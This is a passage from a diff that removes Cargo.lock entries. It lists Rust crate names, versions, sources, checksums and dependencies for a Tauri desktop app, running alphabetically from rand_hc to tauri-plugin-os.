-checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
-dependencies = [
- "getrandom 0.2.15",
-]
-
-[[package]]
-name = "rand_hc"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
-dependencies = [
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rand_pcg"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429"
-dependencies = [
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "raw-window-handle"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539"
-
-[[package]]
-name = "redox_syscall"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2a908a6e00f1fdd0dfd9c0eb08ce85126f6d8bbda50017e74bc4a4b7d4a926a4"
-dependencies = [
- "bitflags 2.6.0",
-]
-
-[[package]]
-name = "redox_users"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd283d9651eeda4b2a83a43c1c91b266c40fd76ecd39a50a8c630ae69dc72891"
-dependencies = [
- "getrandom 0.2.15",
- "libredox",
- "thiserror",
-]
-
-[[package]]
-name = "regex"
-version = "1.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-automata 0.4.7",
- "regex-syntax 0.8.4",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
-dependencies = [
- "regex-syntax 0.6.29",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax 0.8.4",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.6.29"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
-
-[[package]]
-name = "regex-syntax"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
-
-[[package]]
-name = "rend"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "71fe3824f5629716b1589be05dacd749f6aa084c87e00e016714a8cdfccc997c"
-dependencies = [
- "bytecheck",
-]
-
-[[package]]
-name = "reqwest"
-version = "0.12.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c7d6d2a27d57148378eb5e111173f4276ad26340ecc5c49a4a2152167a2d6a37"
-dependencies = [
- "base64 0.22.1",
- "bytes",
- "cookie",
- "cookie_store",
- "encoding_rs",
- "futures-core",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "http-body-util",
- "hyper",
- "hyper-rustls",
- "hyper-util",
- "ipnet",
- "js-sys",
- "log",
- "mime",
- "once_cell",
- "percent-encoding",
- "pin-project-lite",
- "quinn",
- "rustls",
- "rustls-pemfile",
- "rustls-pki-types",
- "serde",
- "serde_json",
- "serde_urlencoded",
- "sync_wrapper",
- "system-configuration",
- "tokio",
- "tokio-rustls",
- "tokio-util",
- "tower-service",
- "url",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "wasm-streams",
- "web-sys",
- "webpki-roots",
- "winreg",
-]
-
-[[package]]
-name = "ring"
-version = "0.17.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c17fa4cb658e3583423e915b9f3acc01cceaee1860e33d59ebae66adc3a2dc0d"
-dependencies = [
- "cc",
- "cfg-if",
- "getrandom 0.2.15",
- "libc",
- "spin",
- "untrusted",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "rkyv"
-version = "0.7.45"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9008cd6385b9e161d8229e1f6549dd23c3d022f132a2ea37ac3a10ac4935779b"
-dependencies = [
- "bitvec",
- "bytecheck",
- "bytes",
- "hashbrown 0.12.3",
- "ptr_meta",
- "rend",
- "rkyv_derive",
- "seahash",
- "tinyvec",
- "uuid",
-]
-
-[[package]]
-name = "rkyv_derive"
-version = "0.7.45"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "503d1d27590a2b0a3a4ca4c94755aa2875657196ecbf401a42eff41d7de532c0"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "rust_decimal"
-version = "1.36.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b082d80e3e3cc52b2ed634388d436fe1f4de6af5786cc2de9ba9737527bdf555"
-dependencies = [
- "arrayvec",
- "borsh",
- "bytes",
- "num-traits",
- "rand 0.8.5",
- "rkyv",
- "serde",
- "serde_json",
-]
-
-[[package]]
-name = "rustc-demangle"
-version = "0.1.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
-
-[[package]]
-name = "rustc-hash"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "583034fd73374156e66797ed8e5b0d5690409c9226b22d87cb7f19821c05d152"
-
-[[package]]
-name = "rustc_version"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
-dependencies = [
- "semver",
-]
-
-[[package]]
-name = "rustix"
-version = "0.38.34"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70dc5ec042f7a43c4a73241207cecc9873a06d45debb38b329f8541d85c2730f"
-dependencies = [
- "bitflags 2.6.0",
- "errno",
- "libc",
- "linux-raw-sys",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "rustls"
-version = "0.23.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c58f8c84392efc0a126acce10fa59ff7b3d2ac06ab451a33f2741989b806b044"
-dependencies = [
- "once_cell",
- "ring",
- "rustls-pki-types",
- "rustls-webpki",
- "subtle",
- "zeroize",
-]
-
-[[package]]
-name = "rustls-pemfile"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "196fe16b00e106300d3e45ecfcb764fa292a535d7326a29a5875c579c7417425"
-dependencies = [
- "base64 0.22.1",
- "rustls-pki-types",
-]
-
-[[package]]
-name = "rustls-pki-types"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc0a2ce646f8655401bb81e7927b812614bd5d91dbc968696be50603510fcaf0"
-
-[[package]]
-name = "rustls-webpki"
-version = "0.102.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e6b52d4fda176fd835fdc55a835d4a89b8499cad995885a21149d5ad62f852e"
-dependencies = [
- "ring",
- "rustls-pki-types",
- "untrusted",
-]
-
-[[package]]
-name = "rustversion"
-version = "1.0.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "955d28af4278de8121b7ebeb796b6a45735dc01436d898801014aced2773a3d6"
-
-[[package]]
-name = "ryu"
-version = "1.0.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
-
-[[package]]
-name = "same-file"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "schemars"
-version = "0.8.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09c024468a378b7e36765cd36702b7a90cc3cba11654f6685c8f233408e89e92"
-dependencies = [
- "dyn-clone",
- "indexmap 1.9.3",
- "schemars_derive",
- "serde",
- "serde_json",
- "url",
-]
-
-[[package]]
-name = "schemars_derive"
-version = "0.8.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b1eee588578aff73f856ab961cd2f79e36bc45d7ded33a7562adba4667aecc0e"
-dependencies = [
- "proc-macro2",
- "quote",
- "serde_derive_internals",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "scoped-tls"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294"
-
-[[package]]
-name = "scopeguard"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
-
-[[package]]
-name = "seahash"
-version = "4.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1c107b6f4780854c8b126e228ea8869f4d7b71260f962fefb57b996b8959ba6b"
-
-[[package]]
-name = "selectors"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe"
-dependencies = [
- "bitflags 1.3.2",
- "cssparser",
- "derive_more",
- "fxhash",
- "log",
- "matches",
- "phf 0.8.0",
- "phf_codegen 0.8.0",
- "precomputed-hash",
- "servo_arc",
- "smallvec",
- "thin-slice",
-]
-
-[[package]]
-name = "semver"
-version = "1.0.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "serde"
-version = "1.0.208"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cff085d2cb684faa248efb494c39b68e522822ac0de72ccf08109abde717cfb2"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde-untagged"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2676ba99bd82f75cae5cbd2c8eda6fa0b8760f18978ea840e980dd5567b5c5b6"
-dependencies = [
- "erased-serde",
- "serde",
- "typeid",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.208"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24008e81ff7613ed8e5ba0cfaf24e2c2f1e5b8a0495711e44fcd4882fca62bcf"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "serde_derive_internals"
-version = "0.29.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "18d26a20a969b9e3fdf2fc2d9f21eda6c40e2de84c9408bb5d3b05d499aae711"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.125"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83c8e735a073ccf5be70aa8066aa984eaf2fa000db6c8d0100ae605b366d31ed"
-dependencies = [
- "itoa 1.0.11",
- "memchr",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_repr"
-version = "0.1.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c64451ba24fc7a6a2d60fc75dd9c83c90903b19028d4eff35e88fc1e86564e9"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "serde_spanned"
-version = "0.6.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb5b1b31579f3811bf615c144393417496f152e12ac8b7663bf664f4a815306d"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "serde_urlencoded"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
-dependencies = [
- "form_urlencoded",
- "itoa 1.0.11",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_with"
-version = "3.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "69cecfa94848272156ea67b2b1a53f20fc7bc638c4a46d2f8abde08f05f4b857"
-dependencies = [
- "base64 0.22.1",
- "chrono",
- "hex",
- "indexmap 1.9.3",
- "indexmap 2.4.0",
- "serde",
- "serde_derive",
- "serde_json",
- "serde_with_macros",
- "time",
-]
-
-[[package]]
-name = "serde_with_macros"
-version = "3.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8fee4991ef4f274617a51ad4af30519438dacb2f56ac773b08a1922ff743350"
-dependencies = [
- "darling",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "serialize-to-javascript"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c9823f2d3b6a81d98228151fdeaf848206a7855a7a042bbf9bf870449a66cafb"
-dependencies = [
- "serde",
- "serde_json",
- "serialize-to-javascript-impl",
-]
-
-[[package]]
-name = "serialize-to-javascript-impl"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74064874e9f6a15f04c1f3cb627902d0e6b410abbf36668afa873c61889f1763"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "servo_arc"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d98238b800e0d1576d8b6e3de32827c2d74bee68bb97748dcf5071fb53965432"
-dependencies = [
- "nodrop",
- "stable_deref_trait",
-]
-
-[[package]]
-name = "sha1"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sha2"
-version = "0.10.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sharded-slab"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
-dependencies = [
- "lazy_static",
-]
-
-[[package]]
-name = "shared_child"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09fa9338aed9a1df411814a5b2252f7cd206c55ae9bf2fa763f8de84603aa60c"
-dependencies = [
- "libc",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "shlex"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
-
-[[package]]
-name = "signal-hook-registry"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "simd-adler32"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe"
-
-[[package]]
-name = "simdutf8"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f27f6278552951f1f2b8cf9da965d10969b2efdea95a6ec47987ab46edfe263a"
-
-[[package]]
-name = "siphasher"
-version = "0.3.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d"
-
-[[package]]
-name = "slab"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "smallvec"
-version = "1.13.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
-
-[[package]]
-name = "socket2"
-version = "0.5.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ce305eb0b4296696835b71df73eb912e0f1ffd2556a501fcede6e0c50349191c"
-dependencies = [
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "softbuffer"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d623bff5d06f60d738990980d782c8c866997d9194cfe79ecad00aa2f76826dd"
-dependencies = [
- "bytemuck",
- "cfg_aliases 0.2.1",
- "core-graphics 0.23.2",
- "foreign-types",
- "js-sys",
- "log",
- "objc2",
- "objc2-app-kit",
- "objc2-foundation",
- "objc2-quartz-core",
- "raw-window-handle",
- "redox_syscall",
- "wasm-bindgen",
- "web-sys",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "soup3"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "471f924a40f31251afc77450e781cb26d55c0b650842efafc9c6cbd2f7cc4f9f"
-dependencies = [
- "futures-channel",
- "gio",
- "glib",
- "libc",
- "soup3-sys",
-]
-
-[[package]]
-name = "soup3-sys"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ebe8950a680a12f24f15ebe1bf70db7af98ad242d9db43596ad3108aab86c27"
-dependencies = [
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "spin"
-version = "0.9.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
-
-[[package]]
-name = "stable_deref_trait"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
-
-[[package]]
-name = "state"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b8c4a4445d81357df8b1a650d0d0d6fbbbfe99d064aa5e02f3e4022061476d8"
-dependencies = [
- "loom",
-]
-
-[[package]]
-name = "static_assertions"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
-
-[[package]]
-name = "string_cache"
-version = "0.8.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b"
-dependencies = [
- "new_debug_unreachable",
- "once_cell",
- "parking_lot",
- "phf_shared 0.10.0",
- "precomputed-hash",
- "serde",
-]
-
-[[package]]
-name = "string_cache_codegen"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988"
-dependencies = [
- "phf_generator 0.10.0",
- "phf_shared 0.10.0",
- "proc-macro2",
- "quote",
-]
-
-[[package]]
-name = "strsim"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
-
-[[package]]
-name = "subtle"
-version = "2.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292"
-
-[[package]]
-name = "swift-rs"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4057c98e2e852d51fdcfca832aac7b571f6b351ad159f9eda5db1655f8d0c4d7"
-dependencies = [
- "base64 0.21.7",
- "serde",
- "serde_json",
-]
-
-[[package]]
-name = "syn"
-version = "1.0.109"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.75"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6af063034fc1935ede7be0122941bafa9bacb949334d090b77ca98b5817c7d9"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "syn_derive"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1329189c02ff984e9736652b1631330da25eaa6bc639089ed4915d25446cbe7b"
-dependencies = [
- "proc-macro-error",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "sync_wrapper"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7065abeca94b6a8a577f9bd45aa0867a2238b74e8eb67cf10d492bc39351394"
-
-[[package]]
-name = "sys-locale"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e801cf239ecd6ccd71f03d270d67dd53d13e90aab208bf4b8fe4ad957ea949b0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "system-configuration"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation 0.9.4",
- "system-configuration-sys",
-]
-
-[[package]]
-name = "system-configuration-sys"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "system-deps"
-version = "6.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3e535eb8dded36d55ec13eddacd30dec501792ff23a0b1682c38601b8cf2349"
-dependencies = [
- "cfg-expr",
- "heck 0.5.0",
- "pkg-config",
- "toml 0.8.2",
- "version-compare",
-]
-
-[[package]]
-name = "system-notification"
-version = "0.1.0"
-source = "git+https://github.com/ahkohd/tauri-toolkit?branch=v2#9ba387cadcaf91dc0ec36673890849099c564622"
-dependencies = [
- "block",
- "cocoa 0.25.0",
- "objc",
- "tauri",
-]
-
-[[package]]
-name = "tao"
-version = "0.30.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2a93f2c6b8fdaeb7f417bda89b5bc767999745c3052969664ae1fa65892deb7e"
-dependencies = [
- "bitflags 2.6.0",
- "cocoa 0.26.0",
- "core-foundation 0.10.0",
- "core-graphics 0.24.0",
- "crossbeam-channel",
- "dispatch",
- "dlopen2",
- "dpi",
- "gdkwayland-sys",
- "gdkx11-sys",
- "gtk",
- "instant",
- "jni",
- "lazy_static",
- "libc",
- "log",
- "ndk",
- "ndk-context",
- "ndk-sys",
- "objc",
- "once_cell",
- "parking_lot",
- "raw-window-handle",
- "scopeguard",
- "tao-macros",
- "unicode-segmentation",
- "url",
- "windows 0.58.0",
- "windows-core 0.58.0",
- "windows-version",
- "x11-dl",
-]
-
-[[package]]
-name = "tao-macros"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec114582505d158b669b136e6851f85840c109819d77c42bb7c0709f727d18c2"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "tap"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369"
-
-[[package]]
-name = "tar"
-version = "0.4.41"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cb797dad5fb5b76fcf519e702f4a589483b5ef06567f160c392832c1f5e44909"
-dependencies = [
- "filetime",
- "libc",
- "xattr",
-]
-
-[[package]]
-name = "target-lexicon"
-version = "0.12.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
-
-[[package]]
-name = "tauri"
-version = "2.0.0-rc.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4f60dc86a0513f775a6515d79cf2a54ce38f2fa7225e0c5b9d5ae8241e599afa"
-dependencies = [
- "anyhow",
- "bytes",
- "cocoa 0.26.0",
- "dirs",
- "dunce",
- "embed_plist",
- "futures-util",
- "getrandom 0.2.15",
- "glob",
- "gtk",
- "heck 0.5.0",
- "http",
- "image",
- "jni",
- "libc",
- "log",
- "mime",
- "muda",
- "objc",
- "percent-encoding",
- "raw-window-handle",
- "reqwest",
- "serde",
- "serde_json",
- "serde_repr",
- "serialize-to-javascript",
- "state",
- "swift-rs",
- "tauri-build",
- "tauri-macros",
- "tauri-runtime",
- "tauri-runtime-wry",
- "tauri-utils",
- "thiserror",
- "tokio",
- "tray-icon",
- "url",
- "urlpattern",
- "webkit2gtk",
- "webview2-com",
- "window-vibrancy",
- "windows 0.58.0",
-]
-
-[[package]]
-name = "tauri-build"
-version = "2.0.0-rc.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f9d6fc774b19bedadd547b0310fbdbfadbc7546978eccd6d3e389be7cabc437a"
-dependencies = [
- "anyhow",
- "cargo_toml",
- "dirs",
- "glob",
- "heck 0.5.0",
- "json-patch",
- "schemars",
- "semver",
- "serde",
- "serde_json",
- "tauri-utils",
- "tauri-winres",
- "toml 0.8.2",
- "walkdir",
-]
-
-[[package]]
-name = "tauri-codegen"
-version = "2.0.0-rc.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d14af7a85713898cb8a6be3ece89eb1c39392d8756dd1cc0309ebd6fdc966eb3"
-dependencies = [
- "base64 0.22.1",
- "brotli",
- "ico",
- "json-patch",
- "plist",
- "png",
- "proc-macro2",
- "quote",
- "semver",
- "serde",
- "serde_json",
- "sha2",
- "syn 2.0.75",
- "tauri-utils",
- "thiserror",
- "time",
- "url",
- "uuid",
- "walkdir",
-]
-
-[[package]]
-name = "tauri-macros"
-version = "2.0.0-rc.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9f698301cd7297a7876bb81181a830d40d401461eb14fdaf7ae189b1b56ef76"
-dependencies = [
- "heck 0.5.0",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
- "tauri-codegen",
- "tauri-utils",
-]
-
-[[package]]
-name = "tauri-nspanel"
-version = "2.0.0-beta"
-source = "git+https://github.com/ahkohd/tauri-nspanel?branch=v2#07b1a04efee07c10b5eb4bfe3af71e32957d2d7a"
-dependencies = [
- "bitflags 2.6.0",
- "block",
- "cocoa 0.26.0",
- "core-foundation 0.10.0",
- "core-graphics 0.24.0",
- "objc",
- "objc-foundation",
- "objc_id",
- "tauri",
-]
-
-[[package]]
-name = "tauri-plugin"
-version = "2.0.0-rc.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad2b0b4fe684059a1b700c1a0d7d51698c05b2257ca64eca2a730d7be2e47c6a"
-dependencies = [
- "anyhow",
- "glob",
- "plist",
- "schemars",
- "serde",
- "serde_json",
- "tauri-utils",
- "toml 0.8.2",
- "walkdir",
-]
-
-[[package]]
-name = "tauri-plugin-fs"
-version = "2.0.0-rc.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5da009a6d75a07593085ea5e37adb2c55dbe9feb428b0f7610bd1018ebb3660"
-dependencies = [
- "anyhow",
- "dunce",
- "glob",
- "percent-encoding",
- "schemars",
- "serde",
- "serde_json",
- "serde_repr",
- "tauri",
- "tauri-plugin",
- "thiserror",
- "url",
- "uuid",
-]
-
-[[package]]
-name = "tauri-plugin-http"
-version = "2.0.0-rc.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c714b1abe7b355203c54575ad09a9601106e6f0d6f91d63593810affb899cda9"
-dependencies = [
- "data-url",
- "http",
- "regex",
- "reqwest",
- "schemars",
- "serde",
- "serde_json",
- "tauri",
- "tauri-plugin",
- "tauri-plugin-fs",
- "thiserror",
- "tokio",
- "url",
- "urlpattern",
-]
-
-[[package]]
-name = "tauri-plugin-log"
-version = "2.0.0-rc.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b57e4666c4a5d81f81b7bb8eacf51ae32c4e69c35071aabb480ad20a80836e4e"
-dependencies = [
- "android_logger",
- "byte-unit",
- "cocoa 0.25.0",
- "fern",
- "log",
- "objc",
- "serde",
- "serde_json",
- "serde_repr",
- "swift-rs",
- "tauri",
- "tauri-plugin",
- "thiserror",
- "time",
-]
-
-[[package]]
-name = "tauri-plugin-os"
-version = "2.0.0-rc.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebc4ee761edd532fce2232453e9c8e0f7d9c0b6fe125c4b90b3eb4362ee84224"
-dependencies = [
- "gethostname",
- "log",
- "os_info",
- "serde",
- "serde_json",
- "serialize-to-javascript",
- "sys-locale",
